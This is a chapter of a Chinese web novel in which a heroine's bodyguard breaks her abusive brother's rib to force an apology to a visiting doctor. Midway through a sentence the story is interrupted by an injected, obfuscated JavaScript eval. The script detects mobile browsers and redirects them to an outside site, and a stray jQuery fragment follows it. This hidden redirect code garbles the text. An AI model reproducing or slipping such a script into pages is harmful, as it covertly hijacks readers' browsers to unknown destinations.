8. 生仇怨(第2页)

说话间,姜曚已经撸起袖子要去揍王大夫了。

就在这一瞬,一个身影从院墙上翩然而下,用谁都看不清的速度闪了过来,一把钳住了姜曚即将落下来的拳头。

姜曈看清来人,不禁心中一喜,是阿乔回来了!

只见阿乔状似随意地那么一拧,一踢,姜曚惨呼一声,直接面朝下重重地拍在地上。

他个头高,又一身肥肉,砸在地上发出老大一声响。

见姜曚“哎呦”个不停,阿乔听得烦,一脚踩在他的后脑勺上,把他的脸怼进泥地里,瞬间“哎呦”声便小了。

姜曈怒斥道:“姜曚,若不是你输光家产,我爹也不会被你气得一病不起,你不说改过自新,侍奉汤药,居然还敢对前来问诊的大夫不敬!”

姜曚到底也是个二十多岁的青壮年,此时被阿乔踩在头上,居然毫无挣扎之力。他徒劳地挥动着四肢,像只翻不了身的王八。

“我没有这个意思!我我我就是担心你被人骗了,万一请到骗……啊啊啊!!!”

阿乔接到姜曈的一个眼神,脚下略一加力,姜曚只觉有万钧的力道压在背上,竟只剩下惨叫。

等到他叫得差不多了

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780277|174811||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();

$(''#content'').append(''

,姜曈才冷冷开口:“还不给王大夫道歉。”

阿乔略一松力,让姜曚讲话,谁料他一开口就骂:“我不!给我起开!一个丫鬟居然敢踩本少爷,信不信本少爷发卖了你!”

见姜曚提起这个,姜曈心中一股火又冒了起来。

姜曚为了搞到钱,将全家的奴仆都发卖了。

若非钟婉词及时放良,就连她贴身的丫鬟都要被卖入勾栏瓦舍。

姜曈前世怀着满腔恨意,却复仇无门。

酝酿了几十年的恨意被放出来一个角,便立即形成了滔天之势。

于是,阿乔就看到那个在她眼里心慈面软的小姑娘给她做了一个隐晦的手势。

阿乔一见那个手势,心中便是一凛,那个手势是他们这个行当内的人才知道的。

按说姜曈一个官家小姐,是绝不可能知道的,除非……自己最近脑中不断浮现的那些片段都是真的,这个姜曈,就是多年后那位声望远播的姜画医,自己唯一的朋友。

不过做她这一行的,早就习惯了一切疑虑藏在心中,当下她面无表情地用脚尖在姜曚背上点了点,看起来是在寻找着什么,接着用力地往下踩——

只听“嘎嘣”一声肋骨断裂的声音,姜曚的惨叫冲天而去。

王大夫到底是医者仁心,哪里受得了这个,当下脸色都白了,却看见眼前的两个姑娘,一个比一个平静。

高个的那个姑娘甚至还用脚尖在断裂处碾了碾,那样子丝毫不像是踩着一个人,倒像是随意地碾着一片落叶,一块碎石。

“给王大夫道歉。”在姜曚的鬼哭狼嚎之下,姜曈的声音依旧平淡无波。

“啊啊啊!!我道歉我道歉!别,别踩了!对不住对不住!”

姜曈朝着王大夫看来,抱歉地冲他笑了笑:“实在是对不住,家兄喝了酒就会发疯,冲撞了王大夫,还请王大夫海涵。”

她说到这里停了停,见王大夫一脸没反应过来的空白表情,又笑了笑:“若是王大夫还没消气,那我……”

姜曈说着看向阿乔,阿乔会意,立即低了头,又用鞋尖开始在姜曚身上寻找着什么。

王大夫猛地反应过来,她这意思是说,你要是没消气,我再踩断一根给你出气!

可怜的王老大夫吓得连忙出声阻拦:“够、够了!姑娘还请下来吧。”

“还不快谢谢王大夫!”姜曈冷声道。

“谢……谢谢王、王大夫。”姜曚已经疼得浑身发虚汗,意识也有些模糊起来。

姜曈慢慢悠悠地一点头,阿乔这才从姜曚身上走下来。

“王大夫,这边请。”姜曈继续彬彬有礼地引着王大夫要往门外走去。

王老大夫到底是医者父母心,走了两步又回头看了看在地上痛苦挣扎的姜曚,问道:“他这样,需要老夫给他看看吗?”

“不劳老大夫费心,断根肋骨而已,我这个哥哥年纪轻,这点小伤自己就能恢复。”

姜曈说着,甚至还冲人不好意思地笑笑:“况且我手中这一点铜子儿,只够给家父抓药。所谓百事孝为先,想来哥哥也不会要求我放着长辈不治,给自己看病的。是吧?哥哥?”